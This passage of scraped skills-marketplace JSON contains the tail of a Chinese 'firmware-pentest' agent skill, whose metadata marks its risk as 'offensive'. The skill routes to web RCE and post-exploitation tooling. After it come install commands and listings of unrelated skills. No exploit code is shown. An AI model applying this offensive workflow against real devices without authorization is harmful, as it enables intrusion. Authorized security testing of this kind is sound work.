设备、嵌入式漏洞挖掘、路由器审计\n**下游出口**:\n- 单个二进制深度静态分析 → `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F`\n- 仿真起来后做 Web RCE \u002F 后渗透 → `pentest-tools\u002F`、`attack-chain\u002F`\n- 跨版本固件符号迁移 → `binary-diff\u002F`\n- 硬件接口实操参考 → `patterns-hardware.md`\n- APK \u002F boot.img 处理 → `apk-reverse\u002F`\n\n**同级关联**: `pentest-tools\u002F`（Web 利用阶段配合）、`attack-chain\u002F`（跨阶段攻击链规划）\n\n**参考文档**:\n- `references\u002Fextraction-methodology.md` — 提取细节与失败兜底\n- `references\u002Femba-automated-analysis.md` — EMBA 全流程\n- `references\u002Femulation-and-fuzz.md` — 仿真 + fuzz 实战\n\n\n## 任务完成自检（声称完成前 MUST 通过）\n\n- [ ] 我是否执行了工作流中的每一步（而不是只阅读）？\n- [ ] 我是否基于 `tool-index` 使用了真实工具路径？\n- [ ] 我是否产出了可复现证据（命令\u002F脚本\u002F截图\u002F报告）？\n- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项？\n\n## Limitations\n\n- Emulation of proprietary kernels often fails; hardware debugging may be required.\n- Some extraction paths need physical access (UART\u002FJTAG\u002FSPI).\n\n> Adapted from [zhaoxuya520\u002Freverse-skill](https:\u002F\u002Fgithub.com\u002Fzhaoxuya520\u002Freverse-skill) (MIT).\n",{"name":5,"risk":48,"source":49,"license":14,"date_added":50,"description":7,"source_repo":51,"source_type":33,"license_source":52},"offensive","https:\u002F\u002Fgithub.com\u002Fzhaoxuya520\u002Freverse-skill","2026-08-25","zhaoxuya520\u002Freverse-skill","https:\u002F\u002Fgithub.com\u002Fzhaoxuya520\u002Freverse-skill\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Ffirmware-pentest","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":59,"prompt":69,"zipAvailable":70},[60,63,66],{"tool":61,"command":62},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill firmware-pentest",{"tool":64,"command":65},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill firmware-pentest",{"tool":67,"command":68},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill firmware-pentest","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Ffirmware-pentest\u002FSKILL.md",true,[72,78,82],{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Femba-automated-analysis.md","REFERENCE","参考文档",6483,"https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Ffirmware-pentest\u002Freferences\u002Femba-automated-analysis.md",{"path":79,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":80,"sourceHtmlUrl":81},"references\u002Femulation-and-fuzz.md",8770,"https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Ffirmware-pentest\u002Freferences\u002Femulation-and-fuzz.md",{"path":83,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":84,"sourceHtmlUrl":85},"references\u002Fextraction-methodology.md",6933,"https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Ffirmware-pentest\u002Freferences\u002Fextraction-methodology.md",[87,114,138,160,188,212],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":96,"publishedAt":43},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[93],{"categoryNo":94,"categoryName":95,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",[97,98,99,100,101,102,89,103,104,105,106,107,33,32,108,109,110,111,112,113],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","only","active","critical","scope","scripts","relevant","implementing",{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":43},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[121,122,123,124,125,126,127,128,129,130,131,132,133,107,134,33,135,136,109,137],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":144,"publishedAt":43},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[145,146,147,148,42,149,150,39,38,151,152,153,154,33,32,155,156,157,158,159],"transcript","youtube transcript","youtube","safe","codex","research","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":177,"publishedAt":43},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[166,169,172],{"categoryNo":167,"categoryName":168,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":170,"categoryName":171,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":173,"categoryName":174,"taxonomyType":175,"taxonomyTypeDesc":176},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[145,146,147,178,148,179,42,149,39,180,181,182,183,152,184,33,32,185,186,187],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":189,"name":190,"nameZh":6,"description":191,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":192,"categories":193,"keywords":198,"publishedAt":43},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[194,197],{"categoryNo":195,"categoryName":196,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":170,"categoryName":171,"taxonomyType":20,"taxonomyTypeDesc":21},[147,199,200,125,148,201,202,203,204,39,182,205,206,207,208,32,209,155,210,211],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":216,"categories":217,"keywords":219,"publishedAt":43},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[218],{"categoryNo":167,"categoryName":168,"taxonomyType":20,"taxonomyTypeDesc":21},[220,147,221,222,148,179,180,223,224,181,182,183,152,225,184,33,32,185,226,158],"youtube full","full","google","server","dlp","credits","automatic"]